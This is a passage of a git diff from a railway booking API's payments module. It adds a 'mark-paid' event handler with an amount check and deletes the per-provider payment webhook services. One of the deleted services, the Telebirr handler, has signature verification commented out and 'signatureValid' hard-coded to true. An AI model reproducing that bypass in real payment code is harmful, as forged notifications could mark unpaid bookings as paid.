PaymentEventDto, + ): Promise { + if ( + event.service !== PaymentServiceEnum.PASSENGER || + event.referenceType !== PaymentReferenceType.BOOKING + ) { + this.logger.warn( + `mark-paid: ignoring foreign reference ${event.service}/${event.referenceType}/${event.referenceId}`, + ); + return { processed: false, reason: "foreign-reference" }; + } + + if (event.eventType === "payment.failed") { + const intent = await this.prisma.paymentIntent.findUnique({ + where: { bookingId: event.referenceId }, + }); + if (intent) { + await this.markPaymentFailed({ + intentId: intent.id, + failureCode: event.failureCode, + failureMessage: event.failureMessage, + }); + } + return { processed: true }; + } + + const booking = await this.prisma.booking.findUnique({ + where: { id: event.referenceId }, + }); + if (!booking) { + // Ack (200) — a missing booking will not appear on redelivery; needs investigation. + this.logger.error( + `mark-paid: no booking for reference ${event.referenceId}`, + ); + return { processed: false, reason: "booking-not-found" }; + } + + if (booking.totalMinor !== event.amountMinor) { + // Refuse to confirm: a 4xx makes the relay retry and eventually flag the row FAILED, + // which is the alertable signal for an asserted-vs-paid amount divergence. + this.logger.error( + `mark-paid: amount mismatch for booking ${booking.id}: booking=${booking.totalMinor} event=${event.amountMinor}`, + ); + throw new BadRequestException( + "Event amount does not match booking total", + ); + } + + // Local intent row is a projection during the strangler migration: reuse it when the + // legacy initiate path created one, otherwise materialize it from the event. + let intent = await this.prisma.paymentIntent.findUnique({ + where: { bookingId: event.referenceId }, + }); + if (!intent) { + intent = await this.prisma.paymentIntent.create({ + data: { + bookingId: event.referenceId, + amountMinor: event.amountMinor, + currency: event.currency, + method: event.provider as unknown as PaymentMethodType, + status: PaymentIntentStatus.PROCESSING, + merchantOrderId: event.merchantOrderId, + providerTxnId: event.providerTxnId, + }, + }); + } + + const { alreadyFinalized } = await this.finalizePaymentSuccess({ + intentId: intent.id, + providerTxnId: event.providerTxnId, + paidAt: event.paidAt ? new Date(event.paidAt) : undefined, + }); + return { processed: true, alreadyFinalized }; + } + async markPaymentFailed(input: { intentId: string; failureCode?: string; @@ -441,7 +559,7 @@ export class PaymentsService { const intent = await this.prisma.paymentIntent.findUnique({ where: { id: input.intentId }, }); - if (!intent) throw new NotFoundException('PaymentIntent not found'); + if (!intent) throw new NotFoundException("PaymentIntent not found"); if ( intent.status === PaymentIntentStatus.SUCCEEDED || intent.status === PaymentIntentStatus.CANCELLED @@ -458,35 +576,72 @@ export class PaymentsService { }); } - private async awardLoyaltyPoints(passengerId: string, amountMinor: number, bookingId: string) { + private async awardLoyaltyPoints( + passengerId: string, + amountMinor: number, + bookingId: string, + ) { const points = Math.floor(amountMinor / 100); - const account = await this.prisma.loyaltyAccount.findUnique({ where: { passengerId } }); + const account = await this.prisma.loyaltyAccount.findUnique({ + where: { passengerId }, + }); if (!account) return; const newBalance = account.pointsBalance + points; - const tier = newBalance >= 10000 ? 'PLATINUM' : newBalance >= 5000 ? 'GOLD' : newBalance >= 2000 ? 'SILVER' : 'BRONZE'; - await this.prisma.loyaltyAccount.update({ where: { passengerId }, data: { pointsBalance: { increment: points }, tier: tier as any } }); - await this.prisma.loyaltyLedgerEntry.create({ data: { accountId: account.id, delta: points, reason: 'TRIP_COMPLETED', bookingId, balanceAfter: newBalance } }); + const tier = + newBalance >= 10000 + ? "PLATINUM" + : newBalance >= 5000 + ? "GOLD" + : newBalance >= 2000 + ? "SILVER" + : "BRONZE"; + await this.prisma.loyaltyAccount.update({ + where: { passengerId }, + data: { pointsBalance: { increment: points }, tier: tier as any }, + }); + await this.prisma.loyaltyLedgerEntry.create({ + data: { + accountId: account.id, + delta: points, + reason: "TRIP_COMPLETED", + bookingId, + balanceAfter: newBalance, + }, + }); } - private async createJourneySegments(booking: Prisma.BookingGetPayload<{ include: { seats: true } }>) { + private async createJourneySegments( + booking: Prisma.BookingGetPayload<{ include: { seats: true } }>, + ) { const schedule = await this.prisma.trainSchedule.findUnique({ where: { id: booking.scheduleId }, - include: { stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } }, + include: { + stopTimes: { include: { station: true }, orderBy: { sequence: "asc" } }, + }, }); if (!schedule) return; const stopTimes = schedule.stopTimes; if (stopTimes.length < 2) return; - const originSequence = stopTimes.findIndex(st => st.stationId === schedule.originStationId); - const destSequence = stopTimes.findIndex(st => st.stationId === schedule.destinationStationId); + const originSequence = stopTimes.findIndex( + (st) => st.stationId === schedule.originStationId, + ); + const destSequence = stopTimes.findIndex( + (st) => st.stationId === schedule.destinationStationId, + ); - if (originSequence < 0 || destSequence < 0 || originSequence >= destSequence) return; + if ( + originSequence < 0 || + destSequence < 0 || + originSequence >= destSequence + ) + return; const journey = await this.prisma.journey.create({ data: { passengerId: booking.passengerId, - status: 'CONFIRMED', + status: "CONFIRMED", totalMinor: booking.totalMinor, currency: booking.currency, }, diff --git a/apps/edr-passenger-api/src/modules/payments/payments.types.ts b/apps/edr-passenger-api/src/modules/payments/payments.types.ts index 686274065..2e9463ad3 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.types.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.types.ts @@ -1,5 +1,6 @@ -// The payment provider contract now lives in @edr/types (consumed via @edr/payment-providers). -// This file remains as a thin re-export so existing local imports keep working. +// The payment provider contract lives in @edr/types; the gateways themselves now run only +// inside apps/edr-payment-api. This file remains as a thin re-export so existing local +// imports keep working. export type { PaymentProvider, ProviderInitiationInput, @@ -7,5 +8,5 @@ export type { ProviderStatus, ClientAction, PaymentPlatform, -} from '@edr/types'; -export { ProviderPaymentStatus, ProviderMethod } from '@edr/types'; +} from "@edr/types"; +export { ProviderPaymentStatus, ProviderMethod } from "@edr/types"; diff --git a/apps/edr-passenger-api/src/modules/payments/webhooks/card-webhook.service.ts b/apps/edr-passenger-api/src/modules/payments/webhooks/card-webhook.service.ts deleted file mode 100644 index 5bf977107..000000000 --- a/apps/edr-passenger-api/src/modules/payments/webhooks/card-webhook.service.ts +++ /dev/null @@ -1,129 +0,0 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { Prisma, PaymentIntentStatus, PaymentMethodType } from '@prisma/client'; -import { - CardProvider, - CardWebhookPayload, - ProviderPaymentStatus, -} from '@edr/payment-providers'; -import { PrismaService } from '../../../common/prisma.service'; -import { PaymentsService } from '../payments.service'; - -@Injectable() -export class CardWebhookService { - private readonly logger = new Logger(CardWebhookService.name); - - constructor( - private readonly prisma: PrismaService, - private readonly provider: CardProvider, - private readonly payments: PaymentsService, - ) {} - - async handle(payload: CardWebhookPayload, signature: string): Promise { - const merchantOrderId = payload.data.object.metadata.merchantOrderId; - const externalEventId = `${payload.id}_${payload.type}`; - const signatureValid = this.provider.verifyWebhookSignature( - payload as unknown as Record, - signature, - ); - - const eventRow = await this.persistEvent({ - externalEventId, - merchantOrderId, - providerTxnId: payload.data.object.transaction_id, - signatureValid, - status: payload.data.object.status, - payload, - }); - - if (!eventRow) { - this.logger.log(`Card webhook duplicate: ${externalEventId} — short-circuit OK`); - return; - } - - if (!signatureValid) { - this.logger.warn(`Card webhook signature invalid for merchantOrderId=${merchantOrderId}`); - await this.markProcessed(eventRow.id, 'signature-invalid'); - return; - } - - const intent = await this.prisma.paymentIntent.findUnique({ - where: { merchantOrderId }, - }); - if (!intent) { - this.logger.warn(`Card webhook: no PaymentIntent for merchantOrderId=${merchantOrderId}`); - await this.markProcessed(eventRow.id, 'intent-not-found'); - return; - } - - const mapped = this.provider.mapWebhookStatus(payload.data.object.status); - - try { - if (mapped === ProviderPaymentStatus.SUCCEEDED) { - await this.payments.finalizePaymentSuccess({ - intentId: intent.id, - providerTxnId: payload.data.object.transaction_id, - paidAt: payload.data.object.paid_at ? new Date(payload.data.object.paid_at * 1000) : undefined, - }); - } else if (mapped === ProviderPaymentStatus.FAILED) { - await this.payments.markPaymentFailed({ - intentId: intent.id, - failureCode: payload.data.object.failure_code, - failureMessage: payload.data.object.failure_message, - }); - } else { - await this.prisma.paymentIntent.update({ - where: { id: intent.id }, - data: { - status: mapped as unknown as PaymentIntentStatus, - providerTxnId: payload.data.object.transaction_id ?? undefined, - }, - }); - } - await this.markProcessed(eventRow.id); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.error(`Card webhook processing failed for ${merchantOrderId}: ${message}`); - await this.markProcessed(eventRow.id, `processing-error: ${message}`); - throw err; - } - } - - private async persistEvent(input: { - externalEventId: string; - merchantOrderId: string; - providerTxnId?: string; - signatureValid: boolean; - status: string; - payload: CardWebhookPayload; - }): Promise<{ id: string } | null> { - try { - return await this.prisma.paymentWebhookEvent.create({ - data: { - provider: PaymentMethodType.CARD, - externalEventId: input.externalEventId, - merchantOrderId: input.merchantOrderId, - providerTxnId: input.providerTxnId, - signatureValid: input.signatureValid, - status: input.status, - payload: input.payload as unknown as Prisma.InputJsonValue, - }, - select: { id: true }, - }); - } catch (err) { - if ( - err instanceof Prisma.PrismaClientKnownRequestError && - err.code === 'P2002' - ) { - return null; - } - throw err; - } - } - - private async markProcessed(eventId: string, processingError?: string): Promise { - await this.prisma.paymentWebhookEvent.update({ - where: { id: eventId }, - data: { processedAt: new Date(), processingError }, - }); - } -} diff --git a/apps/edr-passenger-api/src/modules/payments/webhooks/cbe-birr-webhook.service.ts b/apps/edr-passenger-api/src/modules/payments/webhooks/cbe-birr-webhook.service.ts deleted file mode 100644 index 42502e941..000000000 --- a/apps/edr-passenger-api/src/modules/payments/webhooks/cbe-birr-webhook.service.ts +++ /dev/null @@ -1,127 +0,0 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { Prisma, PaymentIntentStatus, PaymentMethodType } from '@prisma/client'; -import { - CbeBirrProvider, - CbeBirrWebhookPayload, - ProviderPaymentStatus, -} from '@edr/payment-providers'; -import { PrismaService } from '../../../common/prisma.service'; -import { PaymentsService } from '../payments.service'; - -@Injectable() -export class CbeBirrWebhookService { - private readonly logger = new Logger(CbeBirrWebhookService.name); - - constructor( - private readonly prisma: PrismaService, - private readonly provider: CbeBirrProvider, - private readonly payments: PaymentsService, - ) {} - - async handle(payload: CbeBirrWebhookPayload): Promise { - const merchantOrderId = payload.merchantOrderId; - const externalEventId = `${payload.orderId}_${payload.status}`; - const signatureValid = this.provider.verifyWebhookSignature( - payload as unknown as Record, - ); - - const eventRow = await this.persistEvent({ - externalEventId, - merchantOrderId, - providerTxnId: payload.transactionId ?? payload.orderId, - signatureValid, - status: payload.status, - payload, - }); - - if (!eventRow) { - this.logger.log(`CBE Birr webhook duplicate: ${externalEventId} — short-circuit OK`); - return; - } - - if (!signatureValid) { - this.logger.warn(`CBE Birr webhook signature invalid for merchantOrderId=${merchantOrderId}`); - await this.markProcessed(eventRow.id, 'signature-invalid'); - return; - } - - const intent = await this.prisma.paymentIntent.findUnique({ - where: { merchantOrderId }, - }); - if (!intent) { - this.logger.warn(`CBE Birr webhook: no PaymentIntent for merchantOrderId=${merchantOrderId}`); - await this.markProcessed(eventRow.id, 'intent-not-found'); - return; - } - - const mapped = this.provider.mapWebhookStatus(payload.status); - - try { - if (mapped === ProviderPaymentStatus.SUCCEEDED) { - await this.payments.finalizePaymentSuccess({ - intentId: intent.id, - providerTxnId: payload.transactionId ?? payload.orderId, - paidAt: payload.paidAt ? new Date(payload.paidAt) : undefined, - }); - } else if (mapped === ProviderPaymentStatus.FAILED) { - await this.payments.markPaymentFailed({ - intentId: intent.id, - failureCode: payload.status, - }); - } else { - await this.prisma.paymentIntent.update({ - where: { id: intent.id }, - data: { - status: mapped as unknown as PaymentIntentStatus, - providerTxnId: payload.transactionId ?? undefined, - }, - }); - } - await this.markProcessed(eventRow.id); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.error(`CBE Birr webhook processing failed for ${merchantOrderId}: ${message}`); - await this.markProcessed(eventRow.id, `processing-error: ${message}`); - throw err; - } - } - - private async persistEvent(input: { - externalEventId: string; - merchantOrderId: string; - providerTxnId?: string; - signatureValid: boolean; - status: string; - payload: CbeBirrWebhookPayload; - }): Promise<{ id: string } | null> { - try { - return await this.prisma.paymentWebhookEvent.create({ - data: { - provider: PaymentMethodType.CBE_BIRR, - externalEventId: input.externalEventId, - merchantOrderId: input.merchantOrderId, - providerTxnId: input.providerTxnId, - signatureValid: input.signatureValid, - status: input.status, - payload: input.payload as unknown as Prisma.InputJsonValue, - }, - select: { id: true }, - }); - } catch (err) { - if ( - err instanceof Prisma.PrismaClientKnownRequestError && - err.code === 'P2002' - ) { - return null; - } - throw err; - } - } - - private async markProcessed(eventId: string, processingError?: string): Promise { - await this.prisma.paymentWebhookEvent.update({ - where: { id: eventId }, - data: { processedAt: new Date(), processingError }, - }); - } -} diff --git a/apps/edr-passenger-api/src/modules/payments/webhooks/ebirr-webhook.service.ts b/apps/edr-passenger-api/src/modules/payments/webhooks/ebirr-webhook.service.ts deleted file mode 100644 index ace727a2a..000000000 --- a/apps/edr-passenger-api/src/modules/payments/webhooks/ebirr-webhook.service.ts +++ /dev/null @@ -1,127 +0,0 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { Prisma, PaymentIntentStatus, PaymentMethodType } from '@prisma/client'; -import { - EBirrProvider, - EBirrWebhookPayload, - ProviderPaymentStatus, -} from '@edr/payment-providers'; -import { PrismaService } from '../../../common/prisma.service'; -import { PaymentsService } from '../payments.service'; - -@Injectable() -export class EBirrWebhookService { - private readonly logger = new Logger(EBirrWebhookService.name); - - constructor( - private readonly prisma: PrismaService, - private readonly provider: EBirrProvider, - private readonly payments: PaymentsService, - ) {} - - async handle(payload: EBirrWebhookPayload): Promise { - const merchantOrderId = payload.orderNo; - const externalEventId = `${payload.orderNo}_${payload.tradeStatus}_${payload.timestamp}`; - const signatureValid = this.provider.verifyWebhookSignature( - payload as unknown as Record, - ); - - const eventRow = await this.persistEvent({ - externalEventId, - merchantOrderId, - providerTxnId: payload.tradeNo, - signatureValid, - status: payload.tradeStatus, - payload, - }); - - if (!eventRow) { - this.logger.log(`eBirr webhook duplicate: ${externalEventId} — short-circuit OK`); - return; - } - - if (!signatureValid) { - this.logger.warn(`eBirr webhook signature invalid for orderNo=${merchantOrderId}`); - await this.markProcessed(eventRow.id, 'signature-invalid'); - return; - } - - const intent = await this.prisma.paymentIntent.findUnique({ - where: { merchantOrderId }, - }); - if (!intent) { - this.logger.warn(`eBirr webhook: no PaymentIntent for orderNo=${merchantOrderId}`); - await this.markProcessed(eventRow.id, 'intent-not-found'); - return; - } - - const mapped = this.provider.mapWebhookStatus(payload.tradeStatus); - - try { - if (mapped === ProviderPaymentStatus.SUCCEEDED) { - await this.payments.finalizePaymentSuccess({ - intentId: intent.id, - providerTxnId: payload.tradeNo, - paidAt: payload.payTime ? new Date(payload.payTime) : undefined, - }); - } else if (mapped === ProviderPaymentStatus.FAILED) { - await this.payments.markPaymentFailed({ - intentId: intent.id, - failureCode: payload.tradeStatus, - }); - } else { - await this.prisma.paymentIntent.update({ - where: { id: intent.id }, - data: { - status: mapped as unknown as PaymentIntentStatus, - providerTxnId: payload.tradeNo ?? undefined, - }, - }); - } - await this.markProcessed(eventRow.id); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.error(`eBirr webhook processing failed for ${merchantOrderId}: ${message}`); - await this.markProcessed(eventRow.id, `processing-error: ${message}`); - throw err; - } - } - - private async persistEvent(input: { - externalEventId: string; - merchantOrderId: string; - providerTxnId?: string; - signatureValid: boolean; - status: string; - payload: EBirrWebhookPayload; - }): Promise<{ id: string } | null> { - try { - return await this.prisma.paymentWebhookEvent.create({ - data: { - provider: PaymentMethodType.EBIRR, - externalEventId: input.externalEventId, - merchantOrderId: input.merchantOrderId, - providerTxnId: input.providerTxnId, - signatureValid: input.signatureValid, - status: input.status, - payload: input.payload as unknown as Prisma.InputJsonValue, - }, - select: { id: true }, - }); - } catch (err) { - if ( - err instanceof Prisma.PrismaClientKnownRequestError && - err.code === 'P2002' - ) { - return null; - } - throw err; - } - } - - private async markProcessed(eventId: string, processingError?: string): Promise { - await this.prisma.paymentWebhookEvent.update({ - where: { id: eventId }, - data: { processedAt: new Date(), processingError }, - }); - } -} diff --git a/apps/edr-passenger-api/src/modules/payments/webhooks/telebirr-webhook.service.ts b/apps/edr-passenger-api/src/modules/payments/webhooks/telebirr-webhook.service.ts deleted file mode 100644 index 1f2b06c3e..000000000 --- a/apps/edr-passenger-api/src/modules/payments/webhooks/telebirr-webhook.service.ts +++ /dev/null @@ -1,149 +0,0 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { Prisma, PaymentIntentStatus, PaymentMethodType } from '@prisma/client'; -import { - TelebirrProvider, - TelebirrWebhookPayload, - ProviderPaymentStatus, -} from '@edr/payment-providers'; -import { PrismaService } from '../../../common/prisma.service'; -import { PaymentsService } from '../payments.service'; - -@Injectable() -export class TelebirrWebhookService { - private readonly logger = new Logger(TelebirrWebhookService.name); - - constructor( - private readonly prisma: PrismaService, - private readonly provider: TelebirrProvider, - private readonly payments: PaymentsService, - ) {} - - async handle(payload: TelebirrWebhookPayload): Promise { - const merchantOrderId = payload.merch_order_id; - const externalEventId = this.buildExternalEventId(payload); - // TODO: re-enable Telebirr public-key signature verification — skipped for now - // const signatureValid = this.provider.verifyWebhookSignature( - // payload as unknown as Record, - // ); - const signatureValid = true; - - const eventRow = await this.persistEvent({ - externalEventId, - merchantOrderId, - providerTxnId: payload.trans_id ?? payload.payment_order_id, - signatureValid, - status: payload.trade_status, - payload, - }); - - if (!eventRow) { - this.logger.log( - `Telebirr webhook duplicate: ${externalEventId} — short-circuit OK`, - ); - return; - } - - // TODO: re-enable signature gate once verifyWebhookSignature is restored - // if (!signatureValid) { - // this.logger.warn( - // `Telebirr webhook signature invalid for merch_order_id=${merchantOrderId}`, - // ); - // await this.markProcessed(eventRow.id, 'signature-invalid'); - // return; - // } - - const intent = await this.prisma.paymentIntent.findUnique({ - where: { merchantOrderId }, - }); - if (!intent) { - this.logger.warn( - `Telebirr webhook: no PaymentIntent for merch_order_id=${merchantOrderId}`, - ); - await this.markProcessed(eventRow.id, 'intent-not-found'); - return; - } - - const mapped = this.provider.mapWebhookTradeStatus(payload.trade_status); - - try { - if (mapped === ProviderPaymentStatus.SUCCEEDED) { - await this.payments.finalizePaymentSuccess({ - intentId: intent.id, - providerTxnId: payload.trans_id ?? payload.payment_order_id, - paidAt: this.parseEpochSeconds(payload.trans_end_time), - }); - } else if (mapped === ProviderPaymentStatus.FAILED) { - await this.payments.markPaymentFailed({ - intentId: intent.id, - failureCode: payload.trade_status, - }); - } else { - await this.prisma.paymentIntent.update({ - where: { id: intent.id }, - data: { - status: mapped as unknown as PaymentIntentStatus, - providerTxnId: payload.trans_id ?? undefined, - }, - }); - } - await this.markProcessed(eventRow.id); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.error( - `Telebirr webhook processing failed for ${merchantOrderId}: ${message}`, - ); - await this.markProcessed(eventRow.id, `processing-error: ${message}`); - throw err; - } - } - - private buildExternalEventId(payload: TelebirrWebhookPayload): string { - return `${payload.payment_order_id}_${payload.trade_status}`; - } - - private async persistEvent(input: { - externalEventId: string; - merchantOrderId: string; - providerTxnId?: string; - signatureValid: boolean; - status: string; - payload: TelebirrWebhookPayload; - }): Promise<{ id: string } | null> { - try { - return await this.prisma.paymentWebhookEvent.create({ - data: { - provider: PaymentMethodType.TELEBIRR, - externalEventId: input.externalEventId, - merchantOrderId: input.merchantOrderId, - providerTxnId: input.providerTxnId, - signatureValid: input.signatureValid, - status: input.status, - payload: input.payload as unknown as Prisma.InputJsonValue, - }, - select: { id: true }, - }); - } catch (err) { - if ( - err instanceof Prisma.PrismaClientKnownRequestError && - err.code === 'P2002' - ) { - return null; - } - throw err; - } - } - - private async markProcessed(eventId: string, processingError?: string): Promise { - await this.prisma.paymentWebhookEvent.update({ - where: { id: eventId }, - data: { processedAt: new Date(), processingError }, - }); - } - - private parseEpochSeconds(raw: string | undefined): Date | undefined { - if (!raw) return undefined; - const n = parseInt(raw, 10); - if (Number.isNaN(n)) return undefined; - return new Date(n * 1000); - } -} diff --git a/apps/edr-passenger-api/src/modules/payments/webhooks/waafi-webhook.service.ts b/apps/edr-passenger-api/src/modules/payments/webhooks/waafi-webhook.service.ts deleted file mode 100644 index 3b9110920..000000000 --- a/apps/edr-passenger-api/src/modules/payments/webhooks/waafi-webhook.service.ts +++ /dev/null @@ -1,181 +0,0 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { Prisma, PaymentIntentStatus, PaymentMethodType } from '@prisma/client'; -import { - WaafiProvider, - WaafiWebhookPayload, - WaafiWebhookHeaders, - WaafiWebhookTransactionPayload, - ProviderPaymentStatus, -} from '@edr/payment-providers'; -import { PrismaService } from '../../../common/prisma.service'; -import { PaymentsService } from '../payments.service'; - -/** Reject webhooks whose timestamp is older than this (replay protection). */ -const WAAFI_REPLAY_WINDOW_SECONDS = 300; - -@Injectable() -export class WaafiWebhookService { - private readonly logger = new Logger(WaafiWebhookService.name); - - constructor( - private readonly prisma: PrismaService, - private readonly provider: WaafiProvider, - private readonly payments: PaymentsService, - ) {} - - async handleWebhook( - payload: WaafiWebhookPayload, - rawBody: string, - headers: WaafiWebhookHeaders, - ): Promise<{ received: boolean }> { - - console.log("Waafi Webhook Service"); - // Unsigned validation ping sent on registration — acknowledge without verifying or persisting. - if (payload.event === 'webhook.test') { - this.logger.log('Waafi webhook.test ping received'); - return { received: true }; - } - - const { payment } = payload; - const merchantOrderId = payment.reference_id; - const providerTxnId = payment.transaction_id; - const eventId = headers['x-webhook-event-id']; - const timestamp = headers['x-webhook-timestamp']; - const signature = headers['x-webhook-signature']; - - const signatureValid = - this.isFresh(timestamp) && - this.provider.verifyWebhookSignature(rawBody, signature, timestamp, eventId); - - // X-Webhook-Event-Id is unique per event; fall back to a derived id if absent. - const externalEventId = eventId ?? `${providerTxnId}_${payment.status}`; - - const eventRow = await this.persistEvent({ - externalEventId, - merchantOrderId, - providerTxnId, - signatureValid, - status: payment.status, - payload, - }); - - if (!eventRow) { - this.logger.log(`Waafi webhook duplicate: ${externalEventId} — short-circuit OK`); - return { received: true }; - } - - if (!signatureValid) { - this.logger.warn(`Waafi webhook signature invalid/stale for ref=${merchantOrderId}`); - await this.markProcessed(eventRow.id, 'signature-invalid'); - return { received: true }; - } - - const intent = await this.prisma.paymentIntent.findUnique({ - where: { merchantOrderId }, - }); - if (!intent) { - this.logger.warn(`Waafi webhook: no PaymentIntent for ref=${merchantOrderId}`); - await this.markProcessed(eventRow.id, 'intent-not-found'); - return { received: true }; - } - - const mapped = this.provider.mapWebhookStatus(payment.status); - - try { - if (payload.event === 'refund') { - // Refund state is owned by PaymentsService.refund; just record the notification. - this.logger.log( - `Waafi refund webhook for ref=${merchantOrderId} status=${payment.status}`, - ); - } else if (mapped === ProviderPaymentStatus.SUCCEEDED) { - await this.payments.finalizePaymentSuccess({ - intentId: intent.id, - providerTxnId, - paidAt: this.parseDate(payment.date), - }); - } else if ( - mapped === ProviderPaymentStatus.FAILED || - mapped === ProviderPaymentStatus.CANCELLED - ) { - await this.payments.markPaymentFailed({ - intentId: intent.id, - failureCode: payment.status, - failureMessage: payment.description, - }); - } else { - await this.prisma.paymentIntent.update({ - where: { id: intent.id }, - data: { - status: mapped as unknown as PaymentIntentStatus, - providerTxnId, - }, - }); - } - await this.markProcessed(eventRow.id); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.error( - `Waafi webhook processing failed for ${merchantOrderId}: ${message}`, - ); - await this.markProcessed(eventRow.id, `processing-error: ${message}`); - throw err; - } - - return { received: true }; - } - - private async persistEvent(input: { - externalEventId: string; - merchantOrderId: string; - providerTxnId?: string; - signatureValid: boolean; - status: string; - payload: WaafiWebhookTransactionPayload; - }): Promise<{ id: string } | null> { - try { - return await this.prisma.paymentWebhookEvent.create({ - data: { - provider: PaymentMethodType.WAAFI, - externalEventId: input.externalEventId, - merchantOrderId: input.merchantOrderId, - providerTxnId: input.providerTxnId, - signatureValid: input.signatureValid, - status: input.status, - payload: input.payload as unknown as Prisma.InputJsonValue, - }, - select: { id: true }, - }); - } catch (err) { - if ( - err instanceof Prisma.PrismaClientKnownRequestError && - err.code === 'P2002' - ) { - return null; - } - throw err; - } - } - - private async markProcessed(eventId: string, processingError?: string): Promise { - await this.prisma.paymentWebhookEvent.update({ - where: { id: eventId }, - data: { processedAt: new Date(), processingError }, - }); - } - - /** True when the webhook timestamp (unix seconds) is within the replay window. */ - private isFresh(timestamp: string | undefined): boolean { - if (!timestamp) return false; - const ts = parseInt(timestamp, 10); - if (Number.isNaN(ts)) return false; - const now = Math.floor(Date.now() / 1000); - return Math.abs(now - ts) <= WAAFI_REPLAY_WINDOW_SECONDS; - } - - /** Parse Waafi's "YYYY-MM-DD HH:mm:ss" payment date; undefined when unparseable. */ - private parseDate(raw: string | undefined): Date | undefined { - if (!raw) return undefined; - const d = new Date(raw); - return Number.isNaN(d.getTime()) ? undefined : d; - } -} diff --git a/apps/edr-passenger-api/src/modules/payments/webhooks/webhooks.controller.ts b/apps/edr-passenger-api/src/modules/payments/webhooks/webhooks.controller.ts deleted file mode 100644 index 4e56c7c04..000000000 --- a/apps/edr-passenger-api/src/modules/payments/webhooks/webhooks.controller.ts +++ /dev/null @@ -1,126 +0,0 @@ -import {All, Body, Controller, Headers, HttpCode, HttpStatus, Logger, Post, Req} from '@nestjs/common'; -import { ApiOperation, ApiTags } from '@nestjs/swagger'; -import { - TelebirrWebhookPayload, - CbeBirrWebhookPayload, - EBirrWebhookPayload, - CardWebhookPayload, - WaafiWebhookPayload, - WaafiWebhookHeaders, -} from '@edr/payment-providers'; -import { TelebirrWebhookService } from './telebirr-webhook.service'; -import { CbeBirrWebhookService } from './cbe-birr-webhook.service'; -import { EBirrWebhookService } from './ebirr-webhook.service'; -import { CardWebhookService } from './card-webhook.service'; -import { WaafiWebhookService } from './waafi-webhook.service'; - -@ApiTags('Payment Webhooks') -@Controller('payments/webhooks') -export class WebhooksController { - private readonly logger = new Logger(WebhooksController.name); - - constructor( - private readonly telebirr: TelebirrWebhookService, - private readonly cbeBirr: CbeBirrWebhookService, - private readonly eBirr: EBirrWebhookService, - private readonly card: CardWebhookService, - private readonly waafi: WaafiWebhookService, - ) {} - - @All('telebirr') - @HttpCode(HttpStatus.OK) - @ApiOperation({ - summary: 'Telebirr payment notification callback (Ethiopia)', - description: 'Webhook endpoint for Telebirr payment status updates. Used by Ethiopian passengers.' - }) - async receiveTelebirr(@Body() payload: TelebirrWebhookPayload) { - - this.logger.log( - `Telebirr webhook Called`, - ); - - try { - await this.telebirr.handle(payload); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.error(`Telebirr webhook handler threw: ${message}`); - } - return { code: '0', message: 'OK' }; - } - - @Post('cbe-birr') - @HttpCode(HttpStatus.OK) - @ApiOperation({ - summary: 'CBE Birr payment notification callback (Ethiopia)', - description: 'Webhook endpoint for Commercial Bank of Ethiopia payment status updates.' - }) - async receiveCbeBirr(@Body() payload: CbeBirrWebhookPayload) { - try { - await this.cbeBirr.handle(payload); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.error(`CBE Birr webhook handler threw: ${message}`); - } - return { success: true }; - } - - @Post('ebirr') - @HttpCode(HttpStatus.OK) - @ApiOperation({ - summary: 'eBirr payment notification callback (Ethiopia)', - description: 'Webhook endpoint for eBirr electronic payment gateway status updates.' - }) - async receiveEBirr(@Body() payload: EBirrWebhookPayload) { - try { - await this.eBirr.handle(payload); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.error(`eBirr webhook handler threw: ${message}`); - } - return { code: '0000', message: 'success' }; - } - - @Post('card') - @HttpCode(HttpStatus.OK) - @ApiOperation({ - summary: 'Card payment notification callback (International)', - description: 'Webhook endpoint for international card payments (Visa, Mastercard) via Stripe.' - }) - async receiveCard( - @Body() payload: CardWebhookPayload, - @Headers('stripe-signature') signature: string, - ) { - try { - await this.card.handle(payload, signature); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.error(`Card webhook handler threw: ${message}`); - } - return { received: true }; - } - - @Post('waafi') - @HttpCode(HttpStatus.OK) - @ApiOperation({ - summary: 'Waafi payment notification callback (Djibouti)', - description: 'Webhook endpoint for Waafi mobile money payment status updates. Used by Djiboutian passengers.' - }) - async receiveWaafi( - @Body() payload: WaafiWebhookPayload, - @Headers() headers: WaafiWebhookHeaders, - @Req() req: { rawBody?: Buffer }, - ) { - this.logger.log( - `Waafi webhook hit: event=${payload?.event ?? 'unknown'} eventId=${headers['x-webhook-event-id'] ?? 'n/a'}`, - ); - try { - // HMAC verification must sign over the exact raw bytes Waafi sent, not re-serialized JSON. - const rawBody = req.rawBody?.toString('utf8') ?? ''; - await this.waafi.handleWebhook(payload, rawBody, headers); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.error(`Waafi webhook handler threw: ${message}`); - } - return { responseCode: '2001', responseMsg: 'Success' }; - } -} diff --git a/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts b/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts index 20465fc0e..13a2f71a4 100644 --- a/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts +++ b/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts @@ -75,6 +75,25 @@ export class InitiatePaymentRequestDto implements InitiatePaymentRequest { @MaxLength(32) payerAccount?: string; + @ApiPropertyOptional({ + description: + "Per-transaction browser return URL on success — each calling app passes its own UI " + + "(passenger portal vs freight portal). UX only; never confirms payment. Falls back to " + + "the provider config when omitted.", + }) + @IsOptional() + @IsString() + @MaxLength(2048) + returnUrl?: string; + + @ApiPropertyOptional({ + description: "Failure/cancel counterpart of returnUrl", + }) + @IsOptional() + @IsString() + @MaxLength(2048) + failureUrl?: string; + 